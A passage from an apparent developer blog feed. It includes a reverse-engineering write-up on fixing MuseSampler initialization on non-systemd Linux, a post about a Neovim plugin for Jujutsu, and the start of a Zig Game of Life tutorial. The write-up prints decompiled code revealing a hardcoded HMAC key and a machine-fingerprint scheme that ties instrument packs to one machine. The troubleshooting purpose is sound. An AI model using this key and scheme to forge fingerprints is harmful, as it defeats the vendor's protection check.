&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (cVar2 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0xffffffff&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Decompiling &lt;code&gt;FUN_00406510&lt;/code&gt; revealed a process name whitelist. The function reads
the executable path (via &lt;code&gt;/proc/self/exe&lt;/code&gt; or &lt;code&gt;argv[0]&lt;/code&gt;), extracts the basename after
the last &lt;code&gt;/&lt;/code&gt;, and checks it against three strings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;MuseScore-4&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;MuseScore-5&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;mscore&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The AppImage binary is named &lt;code&gt;mscore4portable&lt;/code&gt;, which matches the last string.
This seems to be a check to ensure the dynamic library is only initialized from
within a legitimate MuseScore binary.&lt;/p&gt;
&lt;h3 id="instrument-folder-validation"&gt;Instrument Folder Validation&lt;/h3&gt;
&lt;p&gt;Continuing deeper into &lt;code&gt;ms_init&lt;/code&gt;, the next significant check was &lt;code&gt;FUN_00405790&lt;/code&gt;.
This function calls &lt;code&gt;getenv(&amp;quot;MUSESAMPLER_INSTRUMENT_FOLDER&amp;quot;)&lt;/code&gt; and, if set,
validates the path. If not set, it calls &lt;code&gt;FUN_00405e40&lt;/code&gt;, which opens
and parses the config file at &lt;code&gt;~/.local/share/MuseSampler/.config&lt;/code&gt; to find the
instrument folder path. In this case, the config file contained:
&lt;code&gt;/home/&amp;lt;username&amp;gt;/Muse Sounds&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Both code paths ultimately call &lt;code&gt;FUN_00328cc0&lt;/code&gt; to validate the instrument folder.
Inside that function, it verifies the existence of a &lt;code&gt;.instruments&lt;/code&gt; file inside
the sounds folder, then calls &lt;code&gt;FUN_00416390&lt;/code&gt; which performs a machine fingerprint
comparison.&lt;/p&gt;
&lt;h3 id="reverse-engineering-the-fingerprint-check"&gt;Reverse Engineering the Fingerprint Check&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;FUN_00416390&lt;/code&gt; is the core validator. Its logic:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Verifies &lt;code&gt;&amp;lt;instrument_folder&amp;gt;/.instruments&lt;/code&gt; exists&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;FUN_0040d800&lt;/code&gt; to compute a machine-specific fingerprint&lt;/li&gt;
&lt;li&gt;Base64-encodes that fingerprint:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)((&lt;span style="color:#66d9ef"&gt;long&lt;/span&gt;)puVar8 &lt;span style="color:#f92672"&gt;+&lt;/span&gt; sVar14) &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [iVar5 &lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ((&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt;)uVar12 &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6U&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0x1f&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0x3f&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Reads a stored fingerprint from &lt;code&gt;.instruments&lt;/code&gt; via a separate lookup function&lt;/li&gt;
&lt;li&gt;Compares the two with &lt;code&gt;bcmp&lt;/code&gt; - if they don&amp;rsquo;t match, init fails&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Decompiling &lt;code&gt;FUN_0040d800&lt;/code&gt; revealed exactly how the fingerprint is generated:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Decompiled fingerprint check" loading="lazy" src="https://doprz.dev/blog/posts/reverse-engineering-musescore-musesampler-linux/decompiled-fingerprint-check.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;std&lt;span style="color:#f92672"&gt;::&lt;/span&gt;ifstream&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ifstream&lt;/span&gt;((ifstream &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)local_228,&lt;span style="color:#e6db74"&gt;&amp;#34;/etc/machine-id&amp;#34;&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (iVar5 &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; iVar5 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FUN_001d8160&lt;/span&gt;(local_260,&lt;span style="color:#e6db74"&gt;&amp;#34;MuseHubIsAwesome&amp;#34;&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0x11&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// Sets HMAC key
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (iVar5 &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt; LAB_0040d916;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; iVar5 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FUN_001d83e0&lt;/span&gt;(local_260,local_280,local_278); &lt;span style="color:#75715e"&gt;// Processes machine-id
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (iVar5 &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt; LAB_0040d916;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; iVar5 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FUN_001d8400&lt;/span&gt;(local_260,&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;local_248); &lt;span style="color:#75715e"&gt;// Produces 32-bype output
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (iVar5 &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt; LAB_0040d916;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The function reads &lt;code&gt;/etc/machine-id&lt;/code&gt;, runs it through a keyed hash function using
the hardcoded key &lt;code&gt;&amp;quot;MuseHubIsAwesome&amp;quot;&lt;/code&gt;, and produces a 32-byte fingerprint. This
fingerprint is base64-encoded and stored in &lt;code&gt;.instruments&lt;/code&gt; when MuseSounds Manager
downloads an instrument pack. On subsequent launches, MuseSampler recomputes the
fingerprint and compares it against the stored value.&lt;/p&gt;
&lt;h2 id="the-root-cause"&gt;The Root Cause&lt;/h2&gt;
&lt;p&gt;There are two distinct but related problems:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Problem 1&lt;/strong&gt;: Void Linux is missing &lt;code&gt;/etc/machine-id&lt;/code&gt;. Void does not create
&lt;code&gt;/etc/machine-id&lt;/code&gt; by default. Its machine ID lives at
&lt;code&gt;/var/lib/dbus/machine-id&lt;/code&gt;. Since &lt;code&gt;FUN_0040d800&lt;/code&gt; exclusively reads
&lt;code&gt;/etc/machine-id&lt;/code&gt;, the fingerprint computation fails entirely on Void - the file
simply isn&amp;rsquo;t there to read. This means MuseSounds Manager generates a bad or
empty fingerprint when writing &lt;code&gt;.instruments&lt;/code&gt;, and MuseSampler can never verify
it successfully on subsequent launches.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Problem 2&lt;/strong&gt;: &lt;code&gt;.instruments&lt;/code&gt; contains a bad fingerprint and needs to be
regenerated. Even on Artix Linux, which does have &lt;code&gt;/etc/machine-id&lt;/code&gt;, MuseSampler
still failed on a fresh install. The fix in both cases was the same: delete
&lt;code&gt;.instruments&lt;/code&gt; and re-download an instrument pack, forcing MuseSounds Manager to
regenerate it with a valid fingerprint. The exact reason MuseSounds Manager
generates a bad &lt;code&gt;.instruments&lt;/code&gt; on non-systemd distros on the first run is not
fully clear, but may relate to the absence of a proper &lt;code&gt;logind&lt;/code&gt; session when
MuseSounds Manager first runs.&lt;/p&gt;
&lt;h2 id="the-fix"&gt;The Fix&lt;/h2&gt;
&lt;p&gt;In order to fix this, it&amp;rsquo;s as simple as deleting the existing &lt;code&gt;.instruments&lt;/code&gt;
file, and re-download any instrument pack via MuseSounds Manager.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rm ~/Muse&lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;Sounds/.instruments
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Non-systemd distributions and others with &lt;code&gt;/etc/machine-id&lt;/code&gt; missing will need to
create a symlink to the dbus machine ID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ln -s /var/lib/dbus/machine-id /etc/machine-id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="affected-distributions"&gt;Affected Distributions&lt;/h2&gt;
&lt;p&gt;Any Linux distribution that does not create &lt;code&gt;/etc/machine-id&lt;/code&gt; by default will hit
this issue. This includes Void Linux and potentially other non-systemd distributions.&lt;/p&gt;
&lt;h2 id="why-fedora-works-out-of-the-box"&gt;Why Fedora Works Out of the Box&lt;/h2&gt;
&lt;p&gt;Fedora uses systemd, which writes &lt;code&gt;/etc/machine-id&lt;/code&gt; during first boot via
&lt;a href="%22https://www.freedesktop.org/software/systemd/man/latest/systemd-machine-id-setup.html%22"&gt;systemd-machine-id-setup&lt;/a&gt;.
MuseSounds Manager can read it successfully, generates a valid fingerprint, and
stores it in &lt;code&gt;.instruments&lt;/code&gt;. MuseSampler verifies it correctly on every
subsequent launch. On non-systemd distros, something about the environment
during the initial MuseSounds Manager run causes it to write a bad fingerprint
into &lt;code&gt;.instruments&lt;/code&gt;. On Void the cause is clear - &lt;code&gt;/etc/machine-id&lt;/code&gt; simply
doesn&amp;rsquo;t exist. On Artix the cause is less obvious but the symptom and fix are
the same.&lt;/p&gt;
&lt;h2 id="see-also"&gt;See Also&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/musescore/MuseScore/issues/32911"&gt;MuseScore GitHub Issue #32911 - MuseSampler fails to initialize on non-systemd Linux distributions&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Writing my first Neovim plugin</title><link>https://doprz.dev/blog/posts/jujutsu-nvim/</link><pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/jujutsu-nvim/</guid><description>&lt;h2 id="jujutsunvim"&gt;jujutsu.nvim&lt;/h2&gt;
&lt;p&gt;&lt;img alt="jujutsu.nvim in action" loading="lazy" src="https://doprz.dev/blog/posts/jujutsu-nvim/jujutsu-nvim.png"&gt;&lt;/p&gt;
&lt;p&gt;This morning I got tired of context-switching and decided to do something about it. The result: my first Neovim plugin, written in Lua - &lt;a href="https://github.com/doprz/jujutsu.nvim"&gt;jujutsu.nvim&lt;/a&gt; .&lt;/p&gt;
&lt;h2 id="a-bit-of-background"&gt;A Bit of Background&lt;/h2&gt;
&lt;p&gt;I recently migrated from Git to &lt;a href="https://github.com/jj-vcs/jj"&gt;Jujutsu (jj)&lt;/a&gt;, and honestly, it&amp;rsquo;s been a breath of fresh air.
If you haven&amp;rsquo;t tried it, jj is a modern version control system that&amp;rsquo;s thoughtfully designed and surprisingly ergonomic once it clicks.&lt;/p&gt;
&lt;p&gt;The workflow shift was smooth, but there was one rough edge: I lost the nice integration and developer experience of my old Neovim setup. Previously I used &lt;a href="https://github.com/kdheepak/lazygit.nvim"&gt;lazygit.nvim&lt;/a&gt;,
which pops open a floating terminal running the lazygit TUI right inside Neovim. It&amp;rsquo;s seamless - one keymap, full VCS access, dismiss and you&amp;rsquo;re back to your code.
With jj, I found myself reaching for a separate terminal window, a tmux pane, or alt-tabbing to run &lt;code&gt;jj&lt;/code&gt; commands or launch &lt;a href="https://github.com/idursun/jjui"&gt;jjui&lt;/a&gt;.
It worked, but for something that I do a dozen times a day it felt like unnecessary friction.&lt;/p&gt;
&lt;h2 id="the-plugin"&gt;The Plugin&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;jujutsu.nvim&lt;/strong&gt; brings &lt;code&gt;jjui&lt;/code&gt;, the Jujutsu TUI, into a floating scratch terminal inside Neovim.
One keymap opens it, another closes it, and you&amp;rsquo;re right back where you left off. No terminal switching, no tmux gymnastics, no lost context.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s straightforward by design. A focused tool that does one thing well - the Unix philosophy applied to a Neovim plugin.&lt;/p&gt;
&lt;p&gt;&lt;img alt="jujutsu.nvim being installed by lazy.nvim" loading="lazy" src="https://doprz.dev/blog/posts/jujutsu-nvim/lazy-nvim-update.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;There&amp;rsquo;s something genuinely surreal about seeing your own plugin scroll past in lazy.nvim&amp;rsquo;s update log and even more so knowing it&amp;rsquo;s now part of your daily workflow.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="why-build-it"&gt;Why Build It?&lt;/h2&gt;
&lt;p&gt;The honest answer: I couldn&amp;rsquo;t find it already existing, and the itch was too specific to wait for someone else to scratch it. Writing a Lua plugin for Neovim turned out to be far more approachable than I expected;
the API is well-documented, the feedback loop is fast, and there&amp;rsquo;s a great ecosystem to learn from.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s something satisfying about solving your own problem with your own tools. The whole thing came together in a single morning session.&lt;/p&gt;
&lt;h2 id="who-is-this-for"&gt;Who Is This For?&lt;/h2&gt;
&lt;p&gt;If you live inside Neovim and you&amp;rsquo;ve made the jump to Jujutsu (or you&amp;rsquo;re curious about it), &lt;strong&gt;jujutsu.nvim&lt;/strong&gt; might be exactly what you&amp;rsquo;re missing.
Check it out, open an issue, or send a PR. I&amp;rsquo;m just getting started with Lua plugin development and would welcome the feedback.&lt;/p&gt;</description></item><item><title>Conway's Game of Life in Zig: A Weekend Project</title><link>https://doprz.dev/blog/posts/zig-life/</link><pubDate>Sat, 10 Jan 2026 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/zig-life/</guid><description>&lt;p&gt;This weekend I built Conway&amp;rsquo;s Game of Life in Zig with two build targets: a native terminal application and a WebAssembly module powering a React frontend. What started as an excuse to write more Zig turned into an interesting exercise in designing shared code across very different runtime environments.&lt;/p&gt;
&lt;p&gt;The full source is available at &lt;a href="https://github.com/doprz/zig_life"&gt;https://github.com/doprz/zig_life&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="why-zig"&gt;Why Zig?&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve been drawn to Zig for its explicit memory management, lack of hidden control flow, and first-class WASM support. Building a cellular automaton felt like the right level of complexity; simple enough to finish in a weekend, complex enough to exercise the language&amp;rsquo;s strengths.&lt;/p&gt;
&lt;p&gt;I also set a secondary goal: &lt;strong&gt;zero external dependencies&lt;/strong&gt;. No ncurses, no &lt;code&gt;cImport&lt;/code&gt;, no third-party deps, just the Zig standard library and raw system calls. I wanted to understand what those libraries abstract away, and Zig&amp;rsquo;s thin libc wrapper made this practical without being painful.&lt;/p&gt;
&lt;h2 id="architecture"&gt;Architecture&lt;/h2&gt;
&lt;p&gt;I settled on the following modular file structure on the zig side:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;src
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── core.zig &lt;span style="color:#75715e"&gt;# Shared cgol logic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── main.zig &lt;span style="color:#75715e"&gt;# Entry point for terminal build target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── terminal.zig &lt;span style="color:#75715e"&gt;# ANSI terminal renderer + utils&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── wasm.zig &lt;span style="color:#75715e"&gt;# WebAssembly exports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The key constraint I set for myself was making &lt;code&gt;core.zig&lt;/code&gt; depend only on the standard Zig library. It has no I/O dependencies or a specific allocator, allowing it to be portable across targets.&lt;/p&gt;
&lt;h3 id="corezig-the-heart-of-the-simulation"&gt;core.zig: The Heart of the Simulation&lt;/h3&gt;
&lt;p&gt;The core module defines &lt;code&gt;Cell&lt;/code&gt; and &lt;code&gt;Grid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Cell&lt;/code&gt; is pretty straightforward. It represents a cell&amp;rsquo;s state and has a helpful toggle method.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; Cell &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;enum&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dead &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; alive &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;toggle&lt;/span&gt;(self&lt;span style="color:#f92672"&gt;:&lt;/span&gt; Cell) Cell {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (self &lt;span style="color:#f92672"&gt;==&lt;/span&gt; .alive) .dead &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; .alive;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using an &lt;code&gt;enum(u8)&lt;/code&gt; gives us type safety while guaranteeing a single-byte representation. This is important for the WASM memory layout later.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Grid&lt;/code&gt; struct holds the simulation state:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; Grid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cells&lt;span style="color:#f92672"&gt;:&lt;/span&gt; []Cell,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;usize&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; height&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;usize&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; generation&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;u64&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="neighbor-counting"&gt;Neighbor Counting&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/// Counts the number of alive neighbors surrounding the given cell.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/// Only considers the 8 adjacent cells (excludes diagonals outside bounds).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;countNeighbors&lt;/span&gt;(self&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;Self, x&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;usize&lt;/span&gt;, y&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;usize&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; count&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; offsets &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [_]i8{ &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (offsets) &lt;span style="color:#f92672"&gt;|&lt;/span&gt;dy&lt;span style="color:#f92672"&gt;|&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (offsets) &lt;span style="color:#f92672"&gt;|&lt;/span&gt;dx&lt;span style="color:#f92672"&gt;|&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (dx &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; dy &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; nx &lt;span style="color:#f92672"&gt;=&lt;/span&gt; @as(&lt;span style="color:#66d9ef"&gt;isize&lt;/span&gt;, @intCast(x)) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; dx;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; ny &lt;span style="color:#f92672"&gt;=&lt;/span&gt; @as(&lt;span style="color:#66d9ef"&gt;isize&lt;/span&gt;, @intCast(y)) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; dy;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (nx &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; ny &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
